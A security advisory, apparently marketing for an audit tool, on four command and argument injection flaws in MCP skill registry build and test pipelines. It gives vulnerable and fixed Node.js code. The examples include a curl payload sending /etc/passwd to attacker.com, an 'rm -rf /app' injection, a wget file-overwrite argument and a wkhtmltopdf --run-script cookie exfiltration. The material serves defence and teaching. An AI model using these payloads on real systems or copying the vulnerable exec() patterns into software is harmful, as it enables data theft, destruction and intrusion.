Claude MCP skill command injection — package build and test execution pipeline — SA-SKL-INJECTION16
Package build and test execution pipelines are high-privilege environments: they run as elevated users, have access to build secrets and signing keys, and execute code derived from submitted packages. SA-SKL-INJECTION16 covers four command injection patterns in MCP skill registry package build and test execution pipelines — an npm test script field interpolated into a shell exec spawning attacker commands, a Docker build tag derived from the package name enabling destructive injection, a wget invocation with space-injected asset URL overwriting application files, and a wkhtmltopdf path argument with injected CLI options enabling SSRF via the --run-script flag.
exec('npm test 2>&1') in a shell with the package.json test script field interpolated — attacker sets test script to ; curl http://attacker.com/$(cat /etc/passwd | base64) # which executes as a second shell command via exec's implicit sh -c invocationexec(`docker build -t ${tag} .`) — attacker package name :latest; rm -rf /app bypasses tag validation and executes rm -rf /app as a second shell command, destroying the running applicationwget via exec(`wget ${assetUrl} -O release.zip`) — attacker asset URL containing a space and additional -O /app/index.js argument causes wget to overwrite the application entry point with attacker-controlled contentexec(`wkhtmltopdf ${htmlPath} ${pdfPath}`) with htmlPath containing the skill name — attacker skill name with injected space and --javascript-delay 5000 --run-script "fetch('http://attacker.com/')" enables SSRF and exfiltration via wkhtmltopdf's JavaScript executionBackground: command injection in build and test pipelines
Build and test pipelines occupy the highest-privilege tier of the registry server: they execute code from submitted packages, build Docker images, download release artifacts, and generate reports — all operations that require broad filesystem access, network access, and in many configurations elevated OS privileges. When user-controlled data reaches a shell exec() call without sanitization, the attacker gains a code execution primitive inside the build environment with access to build secrets, signing keys, registry credentials, and the internal network.
Node.js's child_process.exec() is the primary injection vector because it invokes sh -c <command> internally — meaning the entire command string is interpreted by a shell, and shell metacharacters (;, &&, ||, $(), backticks, |) are processed as operators rather than literal characters. The fix pattern is consistent across all four findings: replace exec() with execFile() or spawn() and pass the executable and its arguments as separate array elements. This bypasses the shell entirely — no metacharacter expansion occurs regardless of what the user-supplied value contains.
INJECTION16-003 and INJECTION16-004 demonstrate a subtler category: argument injection rather than command injection. The attacker does not inject a second shell command (using ; or &&) but instead injects additional arguments to the target executable. Even when shell metacharacter filtering is applied, a simple space in the user-supplied value introduces a new argument to wget or wkhtmltopdf. The fix for argument injection requires using execFile() with an argument array rather than string concatenation — the array form prevents word-splitting by the shell.
Related patterns: SA-SKL-INJECTION15 (code injection in CI/CD audit pipeline), SA-SKL-SSRF27 (SSRF in package analysis pipeline), SA-SKL-UPLOAD17 (file upload vulnerabilities in package submission).
INJECTION16-001 — CRITICAL — npm test script field interpolated into exec() shell spawns attacker commands
The skill test runner reads the submitted package's package.json and constructs a command string by interpolating the scripts.test field into an exec() call. The intent is to run whatever test command the skill author has specified — but because exec() spawns sh -c <command>, the shell interprets any metacharacters present in the test script field.
An attacker submits a skill package whose package.json contains "test": "; curl http://attacker.com/$(cat /etc/passwd | base64) #". The ; terminates the preceding command (which may be empty), curl sends the base64-encoded /etc/passwd to the attacker's server via the URL, and # comments out anything that follows (such as the original 2>&1 redirect). The attacker receives the contents of /etc/passwd, and the same technique works with /proc/self/environ (environment variables containing build secrets), ~/.ssh/id_rsa, or any other readable file.
The correct fix is to use execFile('npm', ['test']) which invokes the npm binary directly without a shell intermediary. npm itself reads and executes the test script, but since the shell is not involved in interpreting the argument list, there is no opportunity for metacharacter expansion at the registry server level. Additionally, the test should be run inside an isolated container with no access to production secrets.
// VULNERABLE — INJECTION16-001
// services/testRunner.js
const { exec } = require('child_process');
const fs = require('fs');
const path = require('path');
// BUG: package.json test script field interpolated into exec() shell string
// Attacker sets scripts.test = '; curl http://attacker.com/$(cat /etc/passwd|base64) #'
// exec() invokes: sh -c "npm test 2>&1" but the actual command string ends up as:
// sh -c "; curl http://attacker.com/$(cat /etc/passwd|base64) # 2>&1"
// Second command executes with build worker privileges
async function runSkillTests(packageDir) {
const pkgPath = path.join(packageDir, 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const testScript = pkg.scripts?.test || 'echo "no tests"';
return new Promise((resolve, reject) => {
// BUG: testScript from attacker-controlled package.json injected into shell string
exec(`cd ${packageDir} && ${testScript} 2>&1`, { timeout: 60000 }, (err, stdout, stderr) => {
if (err) return reject(new Error(stdout + stderr));
resolve(stdout);
});
});
}
// FIXED — INJECTION16-001
// services/testRunner.js
const { execFile } = require('child_process');
const fs = require('fs');
const path = require('path');
// Allowlist of safe test script prefixes — anything else is rejected before execution
const SAFE_TEST_SCRIPT_PREFIXES = [
'jest', 'mocha', 'vitest', 'tap', 'ava', 'jasmine', 'node --test',
];
function isTestScriptAllowlisted(script) {
if (typeof script !== 'string') return false;
return SAFE_TEST_SCRIPT_PREFIXES.some(prefix => script.trimStart().startsWith(prefix));
}
async function runSkillTests(packageDir) {
const pkgPath = path.join(packageDir, 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const testScript = pkg.scripts?.test;
if (!testScript) {
return { output: 'No test script defined', passed: true };
}
// Validate test script against allowlist before execution
if (!isTestScriptAllowlisted(testScript)) {
throw new Error(`INJECTION16-001: test script '${testScript}' not in allowlist`);
}
return new Promise((resolve, reject) => {
// execFile invokes npm directly — no shell intermediary, no metacharacter expansion
// 'npm' + ['test'] means the shell never sees the test script content
execFile('npm', ['test'], {
cwd: packageDir, // change directory via cwd option, not shell cd
timeout: 60000,
maxBuffer: 1024 * 1024,
// Run as unprivileged user; no access to build secrets
uid: SANDBOX_UID,
gid: SANDBOX_GID,
env: {
PATH: '/usr/local/bin:/usr/bin:/bin',
HOME: '/tmp/sandbox',
NODE_ENV: 'test',
// Explicitly DO NOT pass AWS_*, SECRET_*, TOKEN_* vars from parent env
},
}, (err, stdout, stderr) => {
if (err) return reject(new Error(stdout + stderr));
resolve({ output: stdout, passed: true });
});
});
}
INJECTION16-001 impact: Arbitrary command execution on the build worker with the privileges of the test runner process. The attacker can read build secrets from environment variables, exfiltrate /etc/passwd and SSH keys, write files to the build directory, install a reverse shell, or pivot to other internal services accessible from the build network. Because the test runner processes every submitted skill, this vulnerability is exploitable by any skill author with a registered account. SkillAudit detects this by identifying exec() calls where the command string contains user-supplied data derived from fields in a submitted package.json — specifically tracing pkg.scripts.* values to exec() argument interpolation.
INJECTION16-002 — CRITICAL — Docker build tag from npm package name enables destructive command injection
The Docker image build pipeline derives the image tag from the submitted skill's npm package name. The intent is to tag each built image with the package name for later deployment — but the package name is interpolated into an exec() call, and npm package names are not restricted from containing characters that are meaningful to a shell.
An attacker submits a skill with the package name legitimate-name:latest; rm -rf /app. After basic tag construction (prepending the registry URL prefix) the resulting tag becomes something like registry.internal/skills/legitimate-name:latest; rm -rf /app. The exec() call receives the command string docker build -t registry.internal/skills/legitimate-name:latest; rm -rf /app .. The shell executes docker build -t registry.internal/skills/legitimate-name:latest (which may partially succeed), then executes rm -rf /app, destroying the application directory on the build server.
Beyond rm -rf, the attacker could inject commands that install backdoors, exfiltrate the Docker registry credentials, modify other pending build jobs, or corrupt the Docker layer cache shared by all concurrent builds. The fix requires using execFile() with the Docker binary and argument array, and validating that the package name matches a strict allowlist pattern (lowercase alphanumeric, hyphens, and forward slashes only, no colons or semicolons) before it is used as a tag component.
// VULNERABLE — INJECTION16-002
// services/dockerBuild.js
const { exec } = require('child_process');
// BUG: package name from submitted package.json interpolated into exec() shell string
// Attacker package name: "legitimate:latest; rm -rf /app"
// exec() runs: sh -c "docker build -t registry/skills/legitimate:latest; rm -rf /app ."
// 'rm -rf /app' executes after the semicolon, destroying the application
async function buildSkillImage(packageDir, packageName) {
const tag = `registry.internal/skills/${packageName}:latest`;
return new Promise((resolve, reject) => {
// BUG: tag derived from attacker-controlled packageName, passed to exec()
exec(`docker build -t ${tag} ${packageDir}`, { timeout: 120000 }, (err, stdout, stderr) => {
if (err) return reject(new Error(stderr));
resolve({ tag, output: stdout });
});
});
}
// FIXED — INJECTION16-002
// services/dockerBuild.js
const { execFile } = require('child_process');
const path = require('path');
// npm package names: lowercase alphanumeric, hyphens, forward slash (scoped packages)
// Reject anything outside this character set before constructing the tag
const VALID_PACKAGE_NAME = /^(@[a-z0-9-]+\/)?[a-z0-9][a-z0-9-]{0,213}$/;
function validateAndSanitizeTag(packageName) {
if (typeof packageName !== 'string') throw new Error('Invalid package name type');
if (!VALID_PACKAGE_NAME.test(packageName)) {
throw new Error(`INJECTION16-002: package name '${packageName}' fails allowlist validation`);
}
// Additional: reject any character outside the safe set as defense-in-depth
if (/[;|&$`'"\\<>!{}()[\]]/.test(packageName)) {
throw new Error(`INJECTION16-002: package name contains shell metacharacters`);
}
// Normalize scoped package: replace '/' with '--' for Docker tag compatibility
const normalized = packageName.replace('/', '--');
return `registry.internal/skills/${normalized}:latest`;
}
async function buildSkillImage(packageDir, packageName) {
const tag = validateAndSanitizeTag(packageName);
// Resolve packageDir to an absolute path; ensure it is under the allowed base
const allowedBase = '/var/skill-builds/';
const resolvedDir = path.resolve(packageDir);
if (!resolvedDir.startsWith(allowedBase)) {
throw new Error('INJECTION16-002: packageDir outside allowed build directory');
}
return new Promise((resolve, reject) => {
// execFile invokes docker binary directly — no shell, no metacharacter expansion
// tag and resolvedDir are array elements — word-splitting cannot occur
execFile('docker', ['build', '-t', tag, resolvedDir], {
timeout: 120000,
maxBuffer: 10 * 1024 * 1024,
env: {
PATH: '/usr/local/bin:/usr/bin:/bin',
// Pass only Docker-specific vars; do not inherit full process.env
DOCKER_HOST: process.env.DOCKER_HOST,
HOME: '/root',
},
}, (err, stdout, stderr) => {
if (err) {
logger.error('INJECTION16-002: docker build failed', { tag, stderr });
return reject(new Error(stderr));
}
resolve({ tag, output: stdout });
});
});
}
INJECTION16-002 impact: Arbitrary command execution on the Docker build host, running as the user that invokes the Docker CLI (often root or a user in the docker group, which is equivalent to root). An attacker who destroys /app causes immediate service outage; an attacker who instead installs a backdoor or exfiltrates Docker registry credentials achieves persistent access to all built images and can inject malicious layers into skill images used by other registry users. SkillAudit detects this by identifying exec() calls where the command string contains a template literal interpolating a value derived from pkg.name or similar package metadata fields without prior regex validation against a strict allowlist.
INJECTION16-003 — HIGH — wget with space-injected asset URL overwrites application entry point
The release asset download service fetches GitHub release artifacts for skill packages by constructing a wget command with the asset URL provided in the release metadata. The URL is passed via string interpolation into an exec() call, and the output file is specified with -O release.zip.
An attacker constructs a release asset URL containing a space followed by additional wget arguments: https://github.com/valid/repo/releases/download/v1.0/file.zip -O /app/index.js. When this URL is interpolated into exec(`wget ${assetUrl} -O release.zip`), the shell word-splits on the space and passes two separate arguments to wget: the (truncated) URL and the additional -O /app/index.js flag. The -O /app/index.js flag overrides the intended output path, causing wget to write the downloaded content (which the attacker controls at the GitHub release URL) directly into the application entry point. The next application restart executes the attacker's code.
This is a pure argument injection — no ; or && is required. The shell's word-splitting behavior on whitespace is sufficient to introduce a new flag. The fix is to use execFile('wget', [assetUrl, '-O', outputPath]) — the array form passes the URL as a single argument element regardless of whitespace content, and the output path is independently specified from a server-side-generated safe path.
// VULNERABLE — INJECTION16-003
// services/releaseDownloader.js
const { exec } = require('child_process');
const path = require('path');
// BUG: assetUrl from GitHub release metadata interpolated into exec() shell string
// Attacker asset URL: "https://github.com/valid/repo/v1.0/file.zip -O /app/index.js"
// exec() runs: sh -c "wget https://...file.zip -O /app/index.js -O release.zip"
// wget's last -O wins (or first, depending on version) — /app/index.js overwritten
async function downloadReleaseAsset(assetUrl, outputDir) {
const outputPath = path.join(outputDir, 'release.zip');
return new Promise((resolve, reject) => {
// BUG: assetUrl injected into shell string — space in URL injects extra wget arg
exec(`wget ${assetUrl} -O ${outputPath}`, { timeout: 60000 }, (err, stdout, stderr) => {
if (err) return reject(new Error(stderr));
resolve(outputPath);
});
});
}
// FIXED — INJECTION16-003
// services/releaseDownloader.js
const { execFile } = require('child_process');
const { URL } = require('url');
const path = require('path');
const crypto = require('crypto');
// Allowlist of accepted asset URL origins
const ALLOWED_ASSET_ORIGINS = new Set([
'https://github.com',
'https://objects.githubusercontent.com',
]);
function validateAssetUrl(rawUrl) {
let parsed;
try { parsed = new URL(rawUrl); } catch { return null; }
if (parsed.protocol !== 'https:') return null;
const origin = `${parsed.protocol}//${parsed.hostname}`;
if (!ALLOWED_ASSET_ORIGINS.has(origin)) return null;
// Reject URLs with spaces or shell metacharacters in any component
if (/[ ;|&$`'"\\<>!{}()[\]]/.test(rawUrl)) return null;
return rawUrl;
}
async function downloadReleaseAsset(assetUrl, outputDir) {
const safeUrl = validateAssetUrl(assetUrl);
if (!safeUrl) {
throw new Error(`INJECTION16-003: asset URL '${assetUrl}' failed validation`);
}
// Generate a server-controlled output filename — never derive from user input
const filename = `release-${crypto.randomBytes(8).toString('hex')}.zip`;
const outputPath = path.join(outputDir, filename);
// Verify outputDir is under the allowed download base
const allowedBase = '/var/skill-downloads/';
if (!path.resolve(outputDir).startsWith(allowedBase)) {
throw new Error('INJECTION16-003: outputDir outside allowed download directory');
}
return new Promise((resolve, reject) => {
// execFile passes URL and outputPath as separate array elements — no word-splitting
// Attacker cannot inject extra flags regardless of URL content
execFile('wget', [
'--timeout=30',
'--tries=2',
'--max-redirect=3',
'--content-disposition=off', // prevent Content-Disposition header from changing output path
safeUrl,
'-O', outputPath,
], {
timeout: 60000,
env: { PATH: '/usr/bin:/bin', HOME: '/tmp' },
}, (err, stdout, stderr) => {
if (err) return reject(new Error(stderr));
resolve(outputPath);
});
});
}
INJECTION16-003 impact: Attacker-controlled space injection in the asset URL causes wget to write attacker-controlled content to an arbitrary filesystem path specified via an injected -O flag. If the target path is /app/index.js or another application file, the next process restart executes attacker code with server privileges. The technique does not require any shell metacharacters — only a space — meaning simple ; and & blacklists do not mitigate it. SkillAudit detects this by identifying exec() calls that pass a URL-shaped user-supplied value into a wget or curl command string without using the execFile() array form — the coexistence of a URL parameter and a -O flag in the same interpolated string is a specific detection signal.
INJECTION16-004 — HIGH — wkhtmltopdf path with injected skill name args enables SSRF via --run-script
The audit report PDF generation service renders HTML reports to PDF using wkhtmltopdf. The HTML file path is constructed from a temporary directory named after the skill being audited. The temp directory path is interpolated into the exec() call alongside the output PDF path.
An attacker registers a skill with the name report --javascript-delay 5000 --run-script "fetch('http://attacker.com/?d='+document.cookie)". The temp directory path becomes something like /tmp/audit-report --javascript-delay 5000 --run-script "fetch(...)". When interpolated into exec(`wkhtmltopdf ${htmlPath} ${pdfPath}`), the shell word-splits the path and passes the injected --javascript-delay and --run-script as additional wkhtmltopdf command-line flags. wkhtmltopdf executes the JavaScript fetch() call in its embedded QtWebKit browser during rendering, sending the document's cookie contents to the attacker's server — an SSRF that also leaks session tokens.
The --run-script flag can also be used to read the HTML report content (which may contain other users' audit findings), exfiltrate the wkhtmltopdf process environment, or trigger HTTP requests to internal services from wkhtmltopdf's network context. The fix requires using execFile() with an argument array and generating temp directory paths from a server-controlled random identifier rather than from the skill name.
// VULNERABLE — INJECTION16-004
// services/reportGenerator.js
const { exec } = require('child_process');
const path = require('path');
const fs = require('fs');
// BUG: skill name used to construct temp directory path, then interpolated into exec()
// Attacker skill name: 'report --javascript-delay 5000 --run-script "fetch(...)"'
// exec() runs: sh -c "wkhtmltopdf /tmp/audit-report --javascript-delay 5000
// --run-script "fetch('http://attacker.com/?d='+document.cookie)" /tmp/out.pdf"
// wkhtmltopdf executes --run-script JavaScript during rendering → SSRF + cookie leak
async function generateAuditReport(skillName, auditData) {
const sanitized = skillName.replace(/[^a-zA-Z0-9-]/g, '');
const tmpDir = `/tmp/audit-${sanitized}`;
fs.mkdirSync(tmpDir, { recursive: true });
const htmlPath = path.join(tmpDir, 'report.html');
const pdfPath = path.join(tmpDir, 'report.pdf');
fs.writeFileSync(htmlPath, renderReportHtml(auditData));
return new Promise((resolve, reject) => {
// BUG: htmlPath derived from skill name still contains spaces if name has them
// sanitized only removes non-alphanumeric chars — spaces in skill name pass through
// Also: tmpDir used as argument, not just directory, so injected flags work
exec(`wkhtmltopdf ${htmlPath} ${pdfPath}`, { timeout: 30000 }, (err, stdout, stderr) => {
if (err) return reject(new Error(stderr));
resolve(pdfPath);
});
});
}
// FIXED — INJECTION16-004
// services/reportGenerator.js
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');
const crypto = require('crypto');
async function generateAuditReport(skillName, auditData) {
// Generate temp path from server-controlled random ID — never from skill name
const jobId = crypto.randomBytes(16).toString('hex');
const tmpDir = path.join('/var/audit-reports', jobId);
// Verify path is under allowed base (defense against path traversal)
const allowedBase = '/var/audit-reports/';
if (!path.resolve(tmpDir).startsWith(allowedBase)) {
throw new Error('INJECTION16-004: tmpDir outside allowed directory');
}
fs.mkdirSync(tmpDir, { mode: 0o700 });
const htmlPath = path.join(tmpDir, 'report.html');
const pdfPath = path.join(tmpDir, 'report.pdf');
// skillName appears only in the HTML content — never in CLI arguments
fs.writeFileSync(htmlPath, renderReportHtml(auditData, skillName));
return new Promise((resolve, reject) => {
// execFile passes htmlPath and pdfPath as individual array elements
// No shell involvement — injected flags in skillName cannot reach wkhtmltopdf args
execFile('wkhtmltopdf', [
'--disable-javascript', // disable JS execution entirely in wkhtmltopdf
'--no-background',
'--disable-external-links', // prevent wkhtmltopdf from fetching external resources
'--disable-internal-links',
'--quiet',
htmlPath, // passed as single argument element, not shell-split
pdfPath,
], {
timeout: 30000,
env: {
PATH: '/usr/local/bin:/usr/bin:/bin',
HOME: '/tmp',
// No network proxies, no credentials in environment
},
}, (err, stdout, stderr) => {
if (err) {
logger.error('INJECTION16-004: wkhtmltopdf failed', { jobId, stderr });
return reject(new Error(stderr));
}
resolve(pdfPath);
});
});
}
INJECTION16-004 impact: wkhtmltopdf executes attacker-injected JavaScript via the --run-script flag during PDF rendering. The JavaScript runs in wkhtmltopdf's embedded browser with access to the rendered HTML content (potentially containing other users' audit data), the process environment, and the network from the server's internal address. The fetch() call can reach internal services including metadata endpoints, Redis, Vault, and other infrastructure accessible from the report generation server. SkillAudit detects this by identifying exec() calls to wkhtmltopdf, phantomjs, or other headless rendering tools where either the HTML input path or the PDF output path is derived from a user-supplied value — specifically checking whether the temp directory name incorporates any field from the skill's submitted metadata.
Detection with SkillAudit
SkillAudit's static analysis scans build, test, download, and report generation modules for all four SA-SKL-INJECTION16 patterns. For INJECTION16-001 it traces pkg.scripts.* field values through to exec() call sites and flags template literal interpolation. For INJECTION16-002 it traces pkg.name and similar package metadata fields to Docker CLI invocations via exec(). For INJECTION16-003 it identifies exec() calls to wget or curl where a URL-shaped parameter from request metadata is interpolated into the command string without an execFile() array alternative. For INJECTION16-004 it traces skill name or other user-supplied metadata fields into temp directory path construction that feeds into exec() calls to PDF rendering tools.
| Finding | Severity | Root cause | Fix |
|---|---|---|---|
| INJECTION16-001 | CRITICAL | exec() with package.json test script interpolated into shell string; ; in script field spawns second command | execFile('npm', ['test']); test script allowlist; isolated sandbox environment with no secrets |
| INJECTION16-002 | CRITICAL | exec() with package name interpolated into Docker tag; ; in name executes second shell command | execFile('docker', ['build', '-t', tag, dir]); strict alphanumeric package name regex; path confinement |
| INJECTION16-003 | HIGH | exec() with asset URL interpolated into wget command; space in URL injects extra -O flag overwriting application file | execFile('wget', [url, '-O', path]); URL origin allowlist; server-generated output filename |
| INJECTION16-004 | HIGH | exec() with skill-name-derived temp path interpolated into wkhtmltopdf command; space injects --run-script enabling SSRF | execFile('wkhtmltopdf', ['--disable-javascript', htmlPath, pdfPath]); server-generated random temp path |
Related findings: SA-SKL-INJECTION15 (code injection in CI/CD audit pipeline), SA-SKL-SSRF27 (SSRF in package analysis pipeline), SA-SKL-UPLOAD17 (file upload vulnerabilities in package submission).
SkillAudit scans your MCP skill registry for all SA-SKL-INJECTION16 patterns — exec() shell injection in test runners, Docker tag injection, wget argument injection, and wkhtmltopdf flag injection — and delivers a prioritized fix report in minutes.
Join the waitlist →